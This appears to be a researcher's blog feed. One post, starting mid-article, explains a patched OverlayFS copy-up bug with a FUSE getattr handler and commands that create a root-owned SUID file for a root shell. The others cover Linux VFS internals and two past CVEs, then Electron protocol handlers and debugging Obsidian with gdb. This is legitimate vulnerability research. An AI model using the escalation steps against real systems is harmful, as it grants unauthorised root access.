@@ -1011,6 +1011,10 @@ static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
    if (err)
       return err;
 
+   if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
+       !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
+      return -EOVERFLOW;
+

OverlayFS can be viewed as one of the core mechanisms of Docker containers, so the Docker documentation elaborates on it in much more detail. Here, I only cover some core concepts and analyze the functions related to the vulnerability.

An OverlayFS instance consists of multiple lower directories, an upper directory and a merged directory.

Basically, these lower directories contain files that are shared by all containers (or instances) and cannot be modified (read-only). The merged directory is a flattened view of all lower directories. If there are conflicting files between lower directories, the one with the highest layer takes precedence.

If a user tries to create new files or modify existing ones, OverlayFS will duplicate target files or create new files if they do not exist in the upper directory, which is a writeable directory. The upper directory stores the unique files for each containers and has higher priority than all lower directories.

The ovl_copy_up_one() function is used to handle the file copy from the lower directory to the upper directory.

ovl_open(inode, file)
=> ovl_maybe_copy_up(dentry, file->f_flags)
  => ovl_copy_up_flags(dentry, flags)
    => ovl_copy_up_one(parent, next, flags)

It first gets the path object of the lower directory using ovl_path_lower() [1]. After that, vfs_getattr() [2] is called to retrieve the file metadata, including the UID and GID.

Before the patch, the kernel failed to verify whether there was a mapping between the real UID/GID and the current user namespace [3].

static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
               int flags)
{
    // [...]
    struct path parentpath;
    // [...]
    ovl_path_lower(dentry, &ctx.lowerpath); // [1]
    err = vfs_getattr(&ctx.lowerpath, &ctx.stat, // [2]
              STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);

    // if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) || // [3]
    //     !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
    //     return -EOVERFLOW;
    // [...]
}

Since OverlayFS requires a process to have root privileges in the user namespace, the process must call unshare before mounting OverlayFS. Within a new user namespace, there is no mapping entry for the real root user, so the real root user is shown as "nobody" (65534) in that user namespace.

However, files owned by "nobody" are still duplicated by ovl_copy_up_one() with all file metadata preserved.

We may just pass the directory containing a SUID root executable (like su or passwd) as the lower directory and hijack its file content after copy. However, the write handler internally calls file_remove_privs() to remove the SUID bit and update capabilities of the file.

ovl_write_iter(iocb, iter)
=> realfile = ovl_real_file(file)
=> backing_file_write_iter(realfile, iter, iocb, ifl, &ctx)
  => ret = file_remove_privs(iocb->ki_filp)
    => file_remove_privs_flags(file, 0)

So how can we create a file initial namespace whose content is controlled, owned by root, and has the SUID bit set? That’s where the FUSE filesystem comes in!

If we use FUSE as one of our lower directories, the filesystem implementation allows us to fully control the file stat return value, including ctx.stat.uid and ctx.stat.gid. We can also set the SUID bit for that file.

To archieve this, we define the .getattr handler as the my_getattr() function shown below in FUSE daemon.

static int my_getattr(const char *path, struct stat *stbuf)
{
    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
        return 0;
    }

    if (strcmp(path, file_path) == 0) {
        stbuf->st_mode = S_IFREG | 04777; // 04000 == SUID
        stbuf->st_nlink = 1;
        stbuf->st_size = strlen(file_content);

        stbuf->st_uid = 0; // root
        stbuf->st_gid = 0; // root
        return 0;
    }

    return -ENOENT;
}

After opening the target file (file_path), ovl_copy_up_one() copies it from the lower directory (FUSE) to the upper directory (ext4) while preserving the SUID bit. We can then go back to initial user namespace and executable the SUID binary to get the root shell!

In fact, the reason you are allowed to mount the FUSE filesystem in the initial user namespace is that after installing the libfuse-dev package, the executable fusermount3 is also installed, and it has the SUID bit! As a result, even a normal user without the CAP_SYS_ADMIN capability can still mount a FUSE filesystem.

-rwsr-xr-x 1 root root 39376 Sep 21  2024 /usr/bin/fusermount3

However, it also appears that this vulnerability depends on external pacakges and cannot be exploited by default. That may be why it is not as broadly applicable as DirtyPipe or DirtyCOW.

You can use the following command lines to reproduce this vulnerability yourself.

mkdir -p overlay-test/{lower,upper,work,merged}
./your_fuse overlay-test/lower # write your fuse program with the getattr handler above

unshare -r -n -m /bin/bash
mount -t overlay overlay -o lowerdir=overlay-test/lower,upperdir=overlay-test/upper,workdir=overlay-test/work overlay-test/merged

exec 3>> overlay-test/merged/aaa # aaa == file_path
ls -al overlay-test/upper/

# [output]
# ...
# -rwsrwxrwx 1 nobody nogroup   33 Jan  1  1970 aaa

Filesystem 101

2026-02-26T00:00:00+00:00

Recently I explored the filesystem design of Linux and found it is little more complicated than I expected, so I decided to write a post organizing it. This post analyzes the filesystem from a high-level view, skipping detailed implementation. I hope that after reading it, you will understand more about the Linux filesystem.

1. Overview

1.1. file, dentry and inode

First, we start with how the simple syscall open works to figure out the filesystem internal.

When you call the open system call, __do_sys_open() is the entry point in kernel space. In do_sys_openat2(), the kernel gets a file descriptor, opens the file, and installs it into process’s file table.

__do_sys_open(filename, flags, mode)
=> do_sys_open(AT_FDCWD, filename, flags, mode)
  => do_sys_openat2(dfd, filename, &how)
    => fd = get_unused_fd_flags(how->flags)
    => f = do_filp_open(dfd, tmp, &op)
    => fd_install(fd, f)

In path_openat(), the kernel allocates an empty file object, then resolves the pathname, and finally binds the name data (nd) to that file object by calling do_open().

do_filp_open(dfd, pathname, op)
=> set_nameidata(&nd, dfd, pathname, NULL)
=> path_openat(&nd, op, flags | LOOKUP_RCU)
  => file = alloc_empty_file(op->open_flag, current_cred())
  
  // ========= resolution =========
  => s = path_init(nd, flags)
  => link_path_walk(s, nd)
  => s = open_last_lookups(nd, file, op)
  
  => do_open(nd, file, op)

The whole process raises three questions:

How does the file table work?
How does the kernel resolve pathname?
How does the binding work?

The first question, “how the file table works?”, is the easiest.

The purpose of the file descriptor is to let a process use a number to represent a file object. This implies there is an array-like structure that maintains the mapping between the number and the file object, and that is exactly what file table does.

When calling get_unused_fd_flags(), the kernel gets the file table from the current process (current->files). It then finds an unused number and marks it as in use.

get_unused_fd_flags(flags)
=> __get_unused_fd_flags(flags, rlimit(RLIMIT_NOFILE))
  => alloc_fd(0, nofile, flags)
    => files = current->files
    => fdt = files_fdtable(files)
    => fd = find_next_fd(fdt, fd)
    => __set_open_fd(fd, fdt, flags & O_CLOEXEC)

The fd_install() is quite simple. It assigns the file object to the file table’s fd array fdt->fd[], using the pre-reserved fd as the index.

fd_install(fd, file)
=> files = current->files
=> fdt = files_fdtable(files)
=> rcu_assign_pointer(fdt->fd[fd], file)

The next time we call any syscall that requires file operations, we just pass the file descriptor to the kernel. Then fdget() or similar functions are used to retrieve the corresponding file object.

fdget(fd)
=> __fget_light(fd, FMODE_PATH)
  => files = current->files
  => file = files_lookup_fd_raw(files, fd)
    => rcu_dereference_raw(fdt->fd[fd&mask])
  => return BORROWED_FD(file)

The next question is “how the kernel resolves pathname?”

There are three steps: setting up resolution environment, resolving the directory and resolving the final file. These steps correspond to three different function calls, which we saw in the path_openat().

The path_init() is called first to set up the resolution environment. Basically, it decides the starting directory, since the open syscall allows a process to resolve a pathname from a specified directory.

If the pathname starts with "/", the kernel sets the starting directory to root directory. Otherwise, the kernel checks directory file descriptor (dfd).

path_init(nd, flags)
=> s = nd->pathname
=> if (*s == '/' && ...)
  => nd_jump_root(nd)
    => set_root(nd)
      => fs = current->fs
      => nd->root = fs->root
    => nd->path = nd->root
    => nd->inode = nd->path.dentr->d_inode

=> if (nd->dfd == AT_FDCWD)
  => fs = current->fs
  => nd->path = fs->pwd
  => nd->inode = nd->path.dentry->d_inode

=> else
  => f = fdget_raw(nd->dfd)
  => nd->path = fd_file(f)->f_path
  => nd->inode = nd->path.dentry->d_inode

You might already notice the similarity. Although the operations differ, the goal is same: set nd->path and nd->inode. Moreover, if you look more carefully, you may notice that nd->inode actually comes from a field inside nd->path. The nd->path is a path object consisting of mnt and dentry.

struct path {
    struct vfsmount *mnt;
    struct dentry *dentry;
}

With nd->path set to the starting directory, we move to next step to resolve the directory part of the pathname.

Generally, link_path_walk() seperates the whole pathname info components using one or more "/" as delimiter and resolves them one at a time. For example, the pathname "a/b///c/d" will be seperated into "a", "b", "c" and "d".

Internally, __d_lookup_rcu() finds the corresponding dentry object for the current component based on the current directory (parent) and name string (&nd->last). Interestingly, all dentry objects are stored in bucket lists that can be referenced from a global hash table (dentry_hashtable).

After successfully obtaining the dentry object, step_into() is called to update the current directory to the found dentry object. This function also handles the symlink resolution, but we will not discuss it further here.

The entire process may repeat several times until it reaches the final component.

link_path_walk(name, nd)
=> for each components
  => nd->last.name = name
  => link = walk_component(nd, WALK_MORE)
    
    => dentry = lookup_fast(nd)
      => parent = nd->path.dentry
      => dentry = __d_lookup_rcu(parent, &nd->last, &nd->next_seq)
        => b = d_hash(hashlen)
          => dentry_hashtable + hash value
    
    => step_into(nd, flags, dentry)
      => handle_mounts(nd, dentry, &path)
        => path->mnt = nd->path.mnt
        => path->dentry = dentry
      => nd->path = path
      => nd->inode = path.dentry->d_inode

Finally, open_last_lookups() is called to resolve the final component (the file itself). This function is basically the same as walk_component() if the file already exists. However, the main difference is that walk_component() returns an error if dentry doesn’t exist, while open_last_lookups() creates a new dentry by __d_alloc().

This kind of dentry is called a negative dentry, meaning the dentry has no associated inode (i.e., no actual file on disk), but it still exists in the dcache and can be accessed. It is required because a process is able to pass O_CREAT option to create a new file if it doesn’t exist.

Later, the kernel calls the inode operations .create to create a inode and bind it to that dentry. How the kernel creates the inode depends on the filesystem. For instance, the shmem filesystem calls shmem_get_inode() to allocate a shmem inode.

open_last_lookups(nd, file, op)
=> dentry = lookup_fast_for_open(nd, open_flag)
  => dentry = lookup_fast(nd)
  => return dentry

=> if not found
  => dentry = lookup_open(nd, file, op, got_write)
    => dentry = d_lookup(dir, &nd->last)
    => dentry = d_alloc_parallel(dir, &nd->last, &wq)
      => new = __d_alloc(parent->d_sb, name)
        => dentry = kmem_cache_alloc_lru(dentry_cache)
        => dentry->d_op = sb->__s_d_op
      => return new
    
    => dir_inode->i_op->create(idmap, dir_inode, dentry)
      => inode = ...
      => d_instantiate(dentry, inode)
        => __d_set_inode_and_type(dentry, inode, add_flags)
          => dentry->d_inode = inode

=> step_into(nd, WALK_TRAILING, dentry)

By now, we know that the pathname resolution is typically a dentry object lookup. It starts by setting the starting directory, seperating pathname into multiple components, and then retrieving the corresponding dentry from the hash bucket list.

The last question, “How does the binding work?”, is related to how a file accesses the metadata such as permissions. Internally, vfs_open() stores path information for future lookups (file->__f_path), and do_dentry_open() is called to store the inode and invokes filesystem’s open handler (f->f_op->open). That’s how the file object is associated with the dentry and the inode.

do_open(nd, file, op)
=> vfs_open(&nd->path, file)
  => file->__f_path = *path
  => do_dentry_open(file, NULL)
    => inode = f->f_path.dentry->d_inode
    => f->f_inode = inode
    => f->f_op = fops_get(inode->i_fop)
    => f->f_op->open(inode, f)

In short, the architecture of the relationships among the file desciptor, file, dentry, path and inode is as follows:

    [fdtable]         (__f_path)
fd --> [0] -> file A ------------> path
                   |                |-- mnt
         (f_inode) |                |-- dentry --
                   |                             |
                    ------> inode <--------------
                                     (d_inode)
       [1] -> file B
       [X] -> ......

They each have different roles: a file descriptor is a number used to index file table; a file encapsulates regular files and sockets under the same interfaces for a clean and simple design; a path is used for lookup, containing mount object (mnt) and the dentry; a dentry contains pathname information for file lookup; an inode contains the file’s metadata, including the owner, permissions, and file mapping information.

1.2. fs_context, super_block and vfsmount

After introducing the concepts of inode and dentry, we may wonder where the inode comes from and how the mounting operation intializes mnt and builds the inode tree. In this section, we will explore these questions and find the answers.

Looking at the syscall mount, do_new_mount() calls get_fs_type() to find the file_system_type object with the matching name. The object contains metadata for creating a filesystem instance, and different filesystems may have their own implementations.

file_system_type object is later used to initialize a filesystem context (fc) object by invoking its .init_fs_context handler. A filesystem context represents an in-progress mount operation and stores configuration before the superblock is created. The .init_fs_context handler typically allocates and initializes filesystem-specific private data and sets up the context operations (fc->ops).

After that, parse_monolithic_mount_data() is called to parse the mount parameters. For example, if you run the mount command with the options -o ro,noexec, the string "ro,noexec" will be parsed and used to update the filesystem context.

Finally, do_new_mount_fc() is called to set up the superblock and mount point.

__do_sys_mount(dev_name, dir_name, type, flags, data)
=> do_mount(kernel_dev, dir_name, kernel_type, flags, options)
  => user_path_at(AT_FDCWD, dir_name, LOOKUP_FOLLOW, &path)
  => path_mount(dev_name, &path, type_page, flags, data_page)
    => do_new_mount(path, type_page, sb_flags, mnt_flags, dev_name, data_page)
      => type = get_fs_type(fstype)
        => fs = __get_fs_type(name, len)
        => return fs
      
      => fc = fs_context_for_mount(type, sb_flags)
        => alloc_fs_context(fs_type, NULL, sb_flags, 0, FS_CONTEXT_FOR_MOUNT)
          => fc = kzalloc(sizeof(struct fs_context))
          => fc->fs_type->init_fs_context(fc)

      => parse_monolithic_mount_data(fc, data)
        => if (fc->ops->parse_monolithic != NULL)
          => fc->ops->parse_monolithic(fc, data)
        => else
          => generic_parse_monolithic(fc, data)
      
      => do_new_mount_fc(fc, path, mnt_flags)

Internally, the kernel calls filesystem’s .get_tree handler to build the file tree. For filesystems that require a backing image, such as ext4, the handler initializes the superblock and sets up the root inode and root dentry based on on-disk metadata. Other inodes and dentrys are loaded on demand during path lookup rather than being created eagerly at mount time.

In contrast, for filesystems that do not require a backing image, such as ramfs, the handler typically allocates a new superblock and creates only the root inode and dentry for the mount point.

do_new_mount_fc(fc, mountpoint, mnt_flags)
=> mnt = fc_mount(fc)
  => vfs_get_tree(fc)
    => fc->ops->get_tree(fc)
  => vfs_create_mount(fc)

Let’s take ramfs as an example. Its .init_fs_context sets the context operations to &ramfs_context_ops, whose .get_tree handler is ramfs_get_tree().

int ramfs_init_fs_context(struct fs_context *fc)
{
    // [...]
    fc->ops = &ramfs_context_ops;
    return 0;
}

static const struct fs_context_operations ramfs_context_ops = {
    .free        = ramfs_free_fc,
    .parse_param = ramfs_parse_param,
    .get_tree    = ramfs_get_tree,
};

Almost all filesystems follow a pattern for their .get_tree handler. They commonly call get_tree_nodev() or related functions, passing a filesystem-specific fill_super callback.

get_tree_nodev() internally obtains or creates a superblock and then invokes the provided callback to intialize it. In the case of ramfs, its .get_tree handler calls get_tree_nodev() with ramfs_fill_super().

static int ramfs_get_tree(struct fs_context *fc)
{
    return get_tree_nodev(fc, ramfs_fill_super);
}

If a new superblock is needed, alloc_super() is called to allocate a super_block object, and the newly created super_block object is then inserted into the file_system_type’s superblock linked list (s->s_type->fs_supers) by sget_fc(). After that, the fill_super callback (in this case, ramfs_fill_super()) is invoked to initialize that super_block object.

get_tree_nodev(fc, ramfs_fill_super)
=> vfs_get_super(fc, NULL, fill_super)
  => sb = sget_fc(fc, test, set_anon_super_fc)
    => s = alloc_super(fc->fs_type, fc->sb_flags, user_ns)
    => hlist_add_head(&s->s_instances, &s->s_type->fs_supers)
  
  => fill_super(sb, fc)

=> fc->root = dget(sb->s_root)

The fill_super callback must initialize the root inode and the root dentry, since the root inode contains the inode operations (i_op) and file operations (i_fop) required for directory lookup and file access.

In ramfs_fill_super(), ramfs_get_inode() is called to allocate and initialize the root inode. Then d_make_root() creates a dentry associated with that inode, and the returned dentry is assigned to the superblock’s root (sb->s_root).

fill_super(sb, fc)   # ramfs_fill_super
=> sb->s_op = &ramfs_ops
=> inode = ramfs_get_inode(sb, NULL, S_IFDIR | ..., 0)
  => inode = new_inode(sb)
    => alloc_inode(sb)
      => if sb->s_op->alloc_inode != NULL
        => inode = sb->s_op->alloc_inode(sb)
      => else
        => inode = alloc_inode_sb(sb)
  
  => if (mode == S_IFDIR)
    => inode->i_op = &ramfs_dir_inode_operations
    => inode->i_fop = &simple_dir_operations

=> sb->s_root = d_make_root(inode)

At the end of the mounting process, vfs_create_mount() creates a mount object and associate it with the superblock by setting m->mnt.mnt_sb to point to the superblock (root->d_sb).

vfs_create_mount(fc)
=> mnt = alloc_vfsmnt(fc->source)
  => mnt = kmem_cache_zalloc(mnt_cache)

=> setup_mnt(mnt, fc->root)
  => m->mnt.mnt_sb = root->d_sb
  => m->mnt.mnt_root = dget(root)
  => mnt_add_instance(m, s)
    => s->s_mounts = m

=> return &mnt->mnt

Since the filesystem context (fs_context) is only used during the mount setup phrase, it is released before returning to userspace and is not referenced by any persistent VFS object.

In summary, the filesystem name is used to look up the corresponding file_system_type, and its .init_fs_context handler is invoked to initialize a filesystem context (fs_context). Later, the kernel calls the filesystem’s .get_tree handler to to build a file tree. Internally, a super_block object and a mount object are created, and the root inode and the root dentry are intialized by the filesystem’s fill_super callback.

             [lookup]
name ("ramfs") ---> file_system_type list ("bdev" <--> "aio" <--> "anon_inodefs" ...)
                          |
                          | [found]
                          v
                     ramfs_fs_type (.name == "ramfs")
                          |
                          | (fs_supers)
           (s_root)       |
dentry   <---------  super_block --> super_block --> super_block --> ...
|        <--              |
|           |             | (s_mounts)
|(d_inode)  |             |
|            ---------  mount --> mount --> mount --> ...
|          (mnt_root)           
v
inode

Awesome! Now we understand how a simple file descriptor can reference the actual file content and interact with the filesystem.

You may wonder why mount points and superblocks do not have a one-to-one relationship in the diagram. This is because when the mount flags include MS_BIND, the kernel invokes __do_loopback() instead of do_new_mount(). In this case, the process requests a new mount point based on an existing one. As a result, the kernel allocates a new mount object for the target path, but it shares the same underlying superblock as the original mount.

path_mount(dev_name, path, type_page, flags, data_page)
=> do_loopback(path, dev_name, flags & MS_REC)
  => kern_path(old_name, LOOKUP_FOLLOW|LOOKUP_AUTOMOUNT, &old_path)
  => __do_loopback(&old_path, recurse)
    => clone_mnt(old, old_path->dentry, 0)
      => mnt = alloc_vfsmnt(old->mnt_devname)
      => setup_mnt(mnt, root)   <-----   attach to existing superblock

2. Past Vulnerabilites

Here I chose two vulnerabilities that were exploited in kernelCTF in recent years to illustrate security issues in the filesystem.

2.1. CVE-2022-0185: vfs: fs_context: fix up param length parsing in legacy_parse_param

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=722d94847de29310e8aa03fcbdb41fc92c521756

This is an integer underflow vulnerability in legacy_parse_param(), a function used to parse mount parameter for legacy filesystems. The vulnerability leads to a length check bypass, which is ultimately turned into a heap overflow.

@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
                   param->key);
     }
 
-   if (len > PAGE_SIZE - 2 - size)
+   if (size + len + 2 > PAGE_SIZE)
        return invalf(fc, "VFS: Legacy: Cumulative options too large");
    if (strchr(param->key, ',') ||
        (param->type == fs_value_is_string &&

We’ve mentioned that the mount parameters are parsed by parse_monolithic_mount_data(). In fact, to support more flexible configuration, Linux later introduced three new syscalls: fsopen, fsconfig and fsmount. They roughly correspond to the main steps of mounting: creating a filesystem context (selecting the filesystem type), configuring mount options, and finally creating a mount object.

By calling the fsconfig syscall, we can set the key and value to a malformed parameter, causing the kernel to invoke the filesystem context’s .parse_param handler, which eventually reaches the vulnerable function legacy_parse_param().

__do_sys_fsconfig(fd, cmd, key, value, aux)
=> vfs_fsconfig_locked(fc, cmd, ¶m)
  => vfs_parse_fs_param(fc, param)
    => fc->ops->parse_param(fc, param)
       (legacy_fs_context_ops.parse_param == legacy_parse_param)

But what kind of filesystem sets &legacy_fs_context_ops as its filesystem context operations?

We just need to find a filesystem that does not implement .init_fs_context handler. In that case, alloc_fs_context() will fall back to use the legacy initialization path.

alloc_fs_context()
=> if (fc->fs_type->init_fs_context == NULL)
  => legacy_init_fs_context(fc)
    => fc->ops = &legacy_fs_context_ops

2.2. CVE-2023-5345: fs/smb/client: Reset password pointer to NULL

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6e43b8aa7cd3c3af686caf0c2e11819a886d705

When configuring an SMB filesystem, smb3_fs_context_parse_param() is called to parse user-provided parameters. However, it forgets to reset ctx->password to NULL after freeing it. As a result, a user can trigger multiple frees on the same pointer.

@@ -1541,6 +1541,7 @@ static int smb3_fs_context_parse_param(struct fs_context *fc,
 
  cifs_parse_mount_err:
    kfree_sensitive(ctx->password);
+   ctx->password = NULL;
    return -EINVAL;
 }

This function can be reached in the same way as in CVE-2022-0185.

3. Summary

This post just provides a simple overview of the Linux filesystem. The root causes of the two vulnerabilities are relatively straighforward and can be understood by most Linux kernel researchers. Obviously, I think finding them may not be too difficult for AI nowadays 😆.

But what happens when filesystems interact with namespaces or other features, or when multiple filesystems are layered or combined? Could unexpected issues arise?

I may write a follow-up post to explore the interaction between the filesystem and other subsystems. It is a complex but interesting topic!

Learning Protocol Handler

2026-01-18T00:00:00+00:00

0. Murmur

It has been four months since I last wrote a post… pretty long, lol. The reason is not only that I took a longer break after a whole busy year, like playing the game, doing more exercise, and thinking about the meaning of life, but also that I tried to step out of my comfort zone (in every aspect).

At the end of October, I randomly asked Faith (@farazsth98) if he wanted to participate in the first-year zeroday.cloud competition, and maybe we could team up to target Ubuntu. I viewed it as a side project to push myself to do more research on the Linux kernel, and I also wanted to know what it’s like to do research with researchers more senior than me. However, I didn’t expect things to turn out like that. It only took us about three weeks – from finding some unused bugs and one exploitable vulnerability to finishing the exploitation – which is crazy and unimaginable. After that, we spent some time optimizing it, and in the end, we successfully archived LPE on latest Ubuntu Server!

This journey sounds great and should have made me even more passionate about security research, right? But after coming back from Landon (zeroday.cloud was held with BHEU, which was in Landon), I felt burned out and had no energy to read code for no reason. I started thinking about why I do security research and what I am actually chasing. The bad feeling lasted for three weeks. During this period, I read blogs (not limited to security) and did some non-heavy work, like organizing notes. In my free time, I spent more time thinking about what I was stuck on. As I read more and thought more, I gradually found my passion back, because I could see the enjoyment of sharing in those posts. They were pure happiness, learning new things, sharing cool techniques and stuff like that, and that was what I had lost.

Now, I still have a big project on Linux kernel research, but I also read blogs and do research in areas that I am not familiar with, just for fun. That’s why there were no post on the blog for months, and why this new post is about web security.

I am neither an expert in web security nor someone with deep research experience in protocol handlers. As a result, I will only provide an overview of protocol handlers along with some of my research notes.

I also want to thank maple (@maple3142) for answering my question and sharing his knowledge!

1. Introduction

If you click a link that looks like "XXXX://" – where XXXX is not a common protocol such as http and https – you may see a prompt on the screen asking whether you allow a specific program to open it. For example, if I try to navigate slack://XXXX in Safari, macOS will ask me: “do you allow this website to open Slack”? The “Slack” here is the specific program I mentioned earlier.

The protocol handler describes the situation in which user clicks a custom procol link and then operating system attempts to forward the URL request to the corresponding program. On different operating systems, the relationship between a protocol and a program is defined in different ways.

On macOS, this relationship is defined in the file ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist, which is also the preference file for the domain com.apple.launchservices.secure. You can easily read it in a human-readable format using the command defaults read .

$ defaults read com.apple.LaunchServices/com.apple.launchservices.secure
{
    LSHandlers =     (
                {
            LSHandlerModificationDate = 0;
            LSHandlerPreferredVersions =             {
                LSHandlerRoleAll = "-";
            };
            LSHandlerRoleAll = "com.apple.gamecenter.gamecenteruiservice";
            LSHandlerURLScheme = "itms-gcs";
        },
        ...
    );
}

On Windows, protocol handlers are defined in the registry, with the following format:

HKEY_CLASSES_ROOT\\shell\open\command

In my Windows VM, the handler for vscode:// is Code.exe as shown in the screenshot below:

On Linux, different distributions may use different mechanisms, so here I will take Ubuntu as an example. On Ubuntu, there is another concept called MIME types (Media Types). MIME types are used to identify file types and determine which applications should open them by default. You can use the following commands to find MIME handlers:

# for per-user
grep -ir "MimeType=x-scheme-handler" ~/.local/share/applications/
# for system
grep -ir "MimeType=x-scheme-handler" /usr/share/applications/

You will see file content like the following:

MimeType=x-scheme-handler/XXXXX

Here, XXXXX is protocol name. By opening the corresponding configuration file, you can further identify the program and the command format associated with that protocol. For example, the description of the protocol snap:// is defined in /usr/share/applications/snap-handle-link.desktop. By reading the file, you can know that its handler is program /usr/bin/snap.

[Desktop Entry]
...
Exec=/usr/bin/snap handle-link %U
MimeType=x-scheme-handler/snap;
...

2. Electron

As its documentation described, Electron is a framework for building desktop applications using JavaScript, HTML, and CSS, and it embeds Chromium and Node.js into its binary. By using Electron, you only need to maintain one JS codebase to create cross-platform apps that work on Windows, macOS, and Linux!

A diagram from Advanced Electron.js architecture clearly shows the architecture of Electron.

The main process (blue one) of Electron is Node.js, which provides delevopers with abundant APIs to use. If you have some knowledge of Chrome, I think its role is similar to the browser process, handling those requests that require high privileges from render processes.

The renderer process runs inside Chromium, and it is responsible for rendering web pages by parsing HTML and CSS and running Javascript. Since Electron is used to build applications, it can be imagined that each application needs to control how the web pages are rendered and behave.

Electron exposes many JavaScript APIs that allow developers to hook into. When starting an application, a main script will be executed by Node.js (main process) to set up the environment. Later, when Chromium is loaded, the browser context has already been configured with application-specific behaviors.

One of the features Electron supports is custom protocol handling. By using the API app.setAsDefaultProtocolClient(), you can register an application as the handler of a specific protocol. For example, if I want to register my application to be the myapp:// protocol handler, I can run the following JS code in the main script:

if (!app.isDefaultProtocolClient('myapp')) {
    app.setAsDefaultProtocolClient('myapp')
}

On Windows and Linux, you can write code like the following to handle startup requests triggered by a deeplink:

app.whenReady().then(() => {
  const url = process.argv.find(arg => arg.startsWith('myapp://'))
  if (url) {
    // ...
  }
})

Instead of handling requests inside the app.whenReady() callback, on macOS you must define an 'open-url' event handler:

app.on('open-url', (event, url) => {
  // ...
})

If a deeplink is triggered from within the application or from a browser while an existing instance is already running, Electron (which typically allows only a single application process) will first launch a second instance. This second instance sends a 'second-instance' event to the main instance and then exits. As a result, you may need to define a 'second-instance' event handler to handle this scenario.

app.on('second-instance', (event, argv) => {
  const url = argv.find(arg => arg.startsWith('myapp://'))
  if (url) {
    // ...
  }
})

3. Obsidian

3.1. File Extraction

Obsidian is a free note-taking app based on Electron (btw, I’ve used this app to take research notes for two years, so you should give it a try!).

After installation, it registers the obsidian:// protocol handler, which invokes Obsidian.exe to handle the URL requests.

Obsidian is not an open-source project, but you can download its ASAR file from the GitHub release. ASAR (Atom Shell Archive) is a file format used by Electron to package applications. This file is generated by the asar Node.js package, and you can use the extract command to unpack it.

npx asar extract obsidian-1.11.4.asar out

Once the obsidian-XXXX.asar is extracted, you will find the following files:

$ tree -L 1
.
...
├── app.js
..
├── main.js
├── package.json
...
└── worker.js

The attribute "main" in package.json defines which JS file is executed first. However, index.js is missing from the extracted directory. Why?

{
    ...
    "main": "index.js",
    ...
}

If you directly install Obsidian from the released .deb package on Ubuntu (my VM is Ubuntu haha), you’ll find that /opt/Obsidian/resources contains not only obsidian.asar but also app.asar.

aaa@aaa:~$ ls -al /opt/Obsidian/resources
...
-rw-rw-r-- 1 root root    86730 Jan 12 22:46 app.asar
...
-rwxrwxr-x 1 root root 25878062 Jan 12 22:46 obsidian.asar

According to the Electron source code and related posts, it appears that the archive named app.asar is the one actually loaded. Inside app.asar, the package.json file defines main.js as the main JS script.

{
    ...
    "main": "main.js",
    ...
}

Its content looks more like what I would expect from the entry point of an Electron application. By reading the code, we can also see that obsidian.asar is loaded after the first stage of initialization.

let asarPath = path.join(APP_PATH, 'obsidian.asar');

// [...]

function loadApp(asarPath) {
    // Execute asar content
    let main = path.join(asarPath, 'main.js');

    let fn;
    try {
        fn = require(main);
    } catch (e) {
        return false;
    }

    if (fn) {
        fn(asarPath, updateEvents);
        return true;
    }
    return false;
}

// [...]

if (!success) {
    log('Loading main app package', asarPath);
    success = loadApp(asarPath);
}

3.2. Debugging

3.2.1. Runtime Patch

Here I want to share how I debug Obsidian. To be honest, this is also the main reason why I wrote this post. It includes the basic Electron application debugging (which I didn’t know before) and runtime patches to enable Obsidian’s inspector.

Normally, an Electron application supports two ways to debug: DevTools and Inspector. I believe everyone has used DevTools before, but you may not expect that it is also embedded inside an Electron app.

For Obsidian, you can use the shortcut option + command + I on macOS or shift + control + I on Ubuntu to open the DevTools.

By opening the sources tab, you can see which code is executed on this page. You can also set breakpoints and debug it directly.

It is straightforward, right? However, this only debugs the current page running in the renderer process. What about the main process, which is the Node.js process? That is where the second method comes in: Inspector.

If we mirror its role into gdb toolchain, Inspector is more like the gdbserver, allowing us attach and debug a running renderer. A process that is not a renderer can also implement the Inspector protocol to support debugging, and this is exactly what Electron’s Node.js process does. The inspector is not enabled by default, but in most cases you only need to pass additional parameters to the application to enable it. For example:

# expose inspector port at 9229 (default port)
app --inspect=9229

# break in the first line of code
app --inspect-brk

After that, you can open chrome://inspect in Chrome and debug the Node.js process.

However, when I run obsidian --inspect or similar commands, no inspector is launched. After some investigation, I suspect that Obsidian either modified Node.js code (or perhaps just set some options, not sure) to disable the Inspector.

I then opened my IDA to reverse the Obsidian ELF. By searching for "--inspect", I found that node::options_parser::DebugOptionsParser::DebugOptionsParser() is responsible for parsing debug-related parameters. By mapping the function to the Nodejs source code, it clearly shows that this function parses debug arguments, including --inspect.

DebugOptionsParser::DebugOptionsParser() {
  // [...]
  AddOption("--inspect",
            "activate inspector on host:port (default: 127.0.0.1:9229)",
            &DebugOptions::inspector_enabled, // offset: 9
            kAllowedInEnvvar);
  AddAlias("--inspect=", { "--inspect-port", "--inspect" });
  // [...]
}

But if you set a breakpoint at DebugOptions::CheckOptions() and inspect argv, you will find that --inspect is missing, which means Obsidian does not pass the parameters to Electron at all!

void DebugOptions::CheckOptions(std::vector<std::string>* errors,
                                std::vector<std::string>* argv) {
  // [...]
}

One possible solution is a runtime patch. You can break at node::inspector::Agent::Start(), which determines whether the Inspector should be started. One of the condition check is that the options.inspector_enabled flag must be true. This is the same flag that --inspect is supposed to set. Here, we can simply set it to true manually and then continue execution – the Inspector will start successfully!

bool Agent::Start(const std::string& path,
                  const DebugOptions& options,
                  std::shared_ptr<ExclusiveAccess<HostPort>> host_port,
                  bool is_main) {
  // [...]
  if (!parent_handle_ &&
      (!options.inspector_enabled || !options.allow_attaching_debugger ||
       !StartIoThread())) {
    return false;
  }
  // [...]
}

The following GDB commands are what I used:

b Agent::Start
set follow-fork-mode parent
r
# hit the breakpoint
set *(char *)($rdx + 9)=1

Log out:

...
pwndbg> set *(char *)($rdx + 9)=1
pwndbg> c
